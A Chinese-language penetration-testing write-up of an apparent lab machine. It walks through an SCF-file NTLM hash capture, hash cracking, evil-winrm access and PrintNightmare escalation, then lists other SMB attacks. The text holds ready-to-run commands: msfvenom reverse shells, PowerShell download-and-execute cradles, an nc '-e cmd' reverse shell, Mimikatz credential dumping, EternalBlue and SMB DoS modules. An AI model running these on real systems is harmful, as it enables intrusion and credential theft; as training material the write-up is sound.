網路安全之滲透實戰學習

2021-10-29 18:00:03

前言

本次滲透以SMB共用之SCF檔案攻擊為突破點,利用burp編碼爆破Basic Authorization認證、smb連線的多種方法、windows使用者的NTLM值破解方法、evil-winrm的運用、windows主機資訊收集工具、msf執行powershell指令碼、遠端執行powershell指令碼、PrintNightmare漏洞提權等多個知識點。

本次滲透過程從技術層面來說難度並不算很大,本文精華在於滲透過程中運用到了多個知識點,並對多種利用SMB攻擊的方法作了總結,下面開始此次滲透實戰之旅。

資訊收集

首先進行基本的埠掃描;

image.png

看到445埠,想到了smb的多種利用方法;看到5985,想到了可能要利用evil-winrm;然後在重點照顧下445埠;

nmap -A --script smb-vuln* -p 445 10.10.11.106

image.png

並沒有發現直接的突破口,那我們還是從web入手。

smb匿名登入

嘗試一波smb匿名登入,看是否存在共用檔案,可以作為突破的線索;

常用命令總結如下:

smbmap -H 10.10.11.106
smbclient -N -L //10.10.11.106
enum4linux -a 10.10.11.106

image.png

暫時沒有發現。

為了感謝廣大讀者夥伴的支援,準備了以下福利給到大家:
【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視訊(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽解析(題目解析實戰操作)

burp編碼爆破

開啟網頁,彈出Basic Authorization認證

image.png

抓包進行爆破;

image.png

劃紅線的地方要設定3次,分別為:1、admin  2、:  3、 密碼

image.png

用個弱口令字典,跑出結果了;

image.png

admin:admin

SMB共用之SCF檔案攻擊

登入後臺,發現一個可上傳檔案的地方;

image.png

經過多次嘗試,這裡可利用SCF檔案攻擊進行滲透,下面介紹3種利用方法:

通過 NTLM 捕獲進行 SMB 攻擊

基本原理:SCF(Shell 命令檔案)檔案可用於執行一組有限的操作,一個 SCF 檔案可以用來存取一個特定的 UNC 路徑,允許滲透測試人員構建攻擊。下面的程式碼可以被放置在一個文字檔案,然後需要被植入到網路共用。

[Shell]Command=2
IconFile=\\10.10.16.4\share\hack.ico
[Taskbar]
Command=ToggleDesktop

將hack.txt檔案儲存為SCF檔案,在檔名前面新增@符號可以將hack.scf放在共用驅動器檔案列表的頂部。(@hack.scf)並設定接收方法;

Responder需要使用以下引數執行來捕獲瀏覽共用的使用者的雜湊值。

responder -wrf -I tun0

當使用者瀏覽共用時,將自動會從系統建立網路連線,連線到包含在SCF檔案內的UNC路徑。Windows將嘗試使用使用者名稱和密碼對該共用進行身份驗證。在驗證過程中,隨機的8位元組質詢金鑰會從伺服器傳送到使用者端,雜湊後的NTLM / LANMAN密碼再次使用這個質詢金鑰進行加密。Responder將捕獲NTLMv2雜湊。

image.png

除了Responder,MSF也有一個模組,可以用來捕獲來自SMB使用者端的挑戰 – 響應密碼雜湊。

auxiliary/server/capture/smb

image.png

image.png

上傳之前的hack.scf來觸發,就獲取到了使用者的NTLM值。

直接獲取shell

利用MSF框架實現攻擊。

exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.4
set smbhost 192.168.0.100
set srvport 8080
exploit

image.png

上傳之前的hack.scf來觸發,但本次滲透中該方法實測失敗了。

上傳payload獲取shell

本方法的主要優點是它不需要與使用者有任何互動,並自動強制使用者連線到共用,在這個過程中不存在NTLMv2雜湊的協商過程。因此,也可以將此技術與SMB中繼相結合,SMB中繼將提供有效載荷,可以從存取該共用的每個使用者檢索Meterpreter Shell。

MSFVenom可用於生成將在目標上執行的有效載荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > hack.exe

利用Impacket中的smbrelayx 這個python指令碼可以設定中繼攻擊並在當目標主機嘗試連線SMB伺服器時提供有效載荷。這將自動執行,因為SCF檔案將強制每個使用者使用他們自己的憑據連線到一個不存在的共用。

./smbrelayx.py -h Target-IP -e ./hack.exe

同時利用MSF設定木馬的回連端:

exploit/multi/handler

模組需要設定與生成的有效載荷相同的引數。

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit

當使用者瀏覽共用時,SMB伺服器將接收到連線,並且將使用使用者名稱和密碼雜湊來與他的系統進行認證,並將有效載荷執行為可寫共用。本次滲透中該方法實測失敗。

獲取到NTLM值後,下一步嘗試破解。

LM NTLM NET-NTLM2破解

Windows的系統密碼hash預設情況下一般由兩部分組成:第一部分是LM Hash,第二部分是NT Hash
LM

Windows Vista / Server 2008已經預設關閉,在老版本可以遇到,但根據windwos的向下相容性,可以通過組策略啟用它
範例:299BD128C1101FD6
hash破解:

john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt

NThash

NTLM是現在Windows系統上儲存密碼的方式,可以通過轉儲SAM資料庫或使用Mimikatz來獲得。
範例:B4B9B02E6F09A9BD760F388B67351E2B
hash破解:

john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt

NTLMV1
NTLM協定在伺服器和使用者端之間的質詢/響應中使用NTHash,協定的v1同時使用NT和LM雜湊,具體取決於設定和可用內容。
範例:

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

hash破解:

john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt

NTLMV2
這是NTLM協定的新版本和改進版本,這使其很難破解。該概念與NTLMv1相同,只是傳送到伺服器的演演算法和響應不同,從Windows 2000開始,在Windows中為預設值。
範例:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

hash破解:

john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt

在本次滲透中用的是NTLMV2;

hashcat -m 5600 -a 3 123.txt --wordlist top100.txt

image.png

john --format=netntlmv2 123.txt -w=top100.txt

image.png

成功得到使用者名稱和密碼:tony:liltony

根據開放的445和5985埠,連線一波;

嘗試psexec連線失敗;

[外連圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

evil-winrm -i 10.10.11.106 -u tony -p liltony

image.png

連線成功,下面就要開始想辦法進行提權。

smb帶使用者名稱密碼登入

利用得到的使用者名稱和密碼,再次嘗試登入smb共用;

image.png

[外連圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

image

image.png

image.png

提權

主機資訊收集

嘗試使用命令,結果沒有許可權執行;

image.png

那就用指令碼來跑,常用的是winPEASx64.exe或者winPEAS.bat,這裡有個小坑,程式執行時要加反斜槓;

image.png

image.png

結果很多,最後發現print spooler service 服務;

image.png

利用最近的WINDOWS PRINT SPOOLER遠端程式碼執行漏洞(CVE-2021-1675)來提權。

https://github.com/calebstewart/CVE-2021-1675

測試發現直接匯入powershell指令碼會報錯;

下面分別採用2種方法;

msf載入powershell

生成個木馬

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe > hack.exe

接收反彈;

image.png

利用evil-winrm上傳hack.exe,執行;

image.png

程式會報錯且對談中斷,遷移下程序,再次嘗試;

image.png

需要事先上傳ps1指令碼到主機對應的位置,否則找不到指令碼;!image.png

這次就成功執行了指令碼,新增了一個新的使用者且有administrator許可權。還可以嘗試一波遠端執行ps指令碼。

遠端執行powershell指令碼

遠端下載檔案到本地並執行

cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe

遠端執行ps1指令碼

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

自己搭建個http伺服器

image.png

遠端執行ps指令碼;

IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1')
Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"

image.png

image.png

抓取密碼試試;

./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit

image.png

至此,成功拿下了該主機,下面彩蛋環節,總結下其他幾種smb常見的攻擊方法。

smb攻擊方式

Windows SMB 的版本
CIFS:SMB 的舊版本,於 1996 年包含在 Microsoft Windows NT 4.0 中。

SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。

SMB 2.0 / SMB2:此版本用於 Windows Vista 和 Windows Server 2008。

SMB 2.1 / SMB2.1:此版本用於 Windows 7 和 Windows Server 2008 R2。

SMB 3.0 / SMB3:此版本用於 Windows 8 和 Windows Server 2012。

SMB 3.02 / SMB3:此版本用於 Windows 8.1 和 Windows Server 2012 R2。

SMB 3.1:此版本用於 Windows Server 2016 和 Windows 10。

目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。該版本除了支援 SMB3 中新增的 AES 128 CCM 加密外,還支援 AES 128 GCM 加密,並使用SHA-512 雜湊。當連線到使用 SMB 2.x 及更高版本的使用者端時,SMB 3.1.1 還強制要求進行安全協商。

永恆之藍

我們執行以下MSF模組,該模組將直接利用目標機器。

use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit

暴力破解

hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L --> 表示使用者名稱列表
-P --> 表示密碼

如果破解成功,就可以列舉系統上的使用者;

use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit

實測一下;

image.png

image.png

PSexec 連線SMB

可以用msf裡的模組;

use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit

因為本次滲透無法成功,補了之前的一張圖;

image.png

還可以用Impacket中的psexec.py
#用明文密碼連線

./psexec.py xie/administrator:密碼@192.168.10.131

#用雜湊值連線

./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC

還可以直接用psexec.exe程式;

image.png

Rundll32 One-liner

通過Metasploit的SMB Delivery啟動Rundll32攻擊

Metasploit還包含了生成惡意dll檔案的「SMB Delivery」模組。該模組通過SMB伺服器提供payload,並提供檢索和執行生成payload的命令。目前支援DLL和Powershell。

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit

這將生成惡意 DLL 檔案的連結,現在將此連結傳送到你的目標並等待他的操作。

image.png

一旦受害者在執行提示符或命令提示字元內執行惡意程式碼,我們就會在 Metasploit 上獲得一個 Meterpreter 對談。

SMB DOS 攻擊

SMB Dos 攻擊是我們在 Metasploit 框架中擁有的另一種最優秀的方法。

該模組利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 使用者端中的拒絕服務缺陷。要觸發此錯誤,請將此模組作為服務執行,並強制易受攻擊的使用者端作為 SMB 伺服器存取此係統的 IP。如果目標使用 Internet Explorer 或 Word 檔案,則可以通過將 UNC 路徑 (\HOST\share\something) 嵌入到網頁中來實現。

use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit

遠端檔案傳輸和執行

檔案傳輸用法如下:

利用著名的impacket包裡的smbserver.py,進行檔案傳輸。
目錄根據你自己定smbserver.py share ‘/root/exp’

image.png

然後在監聽的shell裡copy CEH.kdbx \10.10.14.57\Share,成功收到檔案

image.png

還可以遠端執行程式;

開啟impacket裡的smbsever服務,把ms15-051x64和nc64.exe放到我指定的共用檔案,

python smbserver.py Share '/root/htb/bastard'

在shell裡執行反彈;

\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"

另外本機監聽443.收到,搞定

image.png

總結

對於SCF檔案攻擊,我們也可以通過下列方法來防止這種攻擊的發生:
1、使用Kerbeors認證或SMB簽名;

2、禁用共用檔案給未認證使用者所提供的寫入許可權;

3、確保使用的是NTLMv2密碼並增加口令的複雜程度。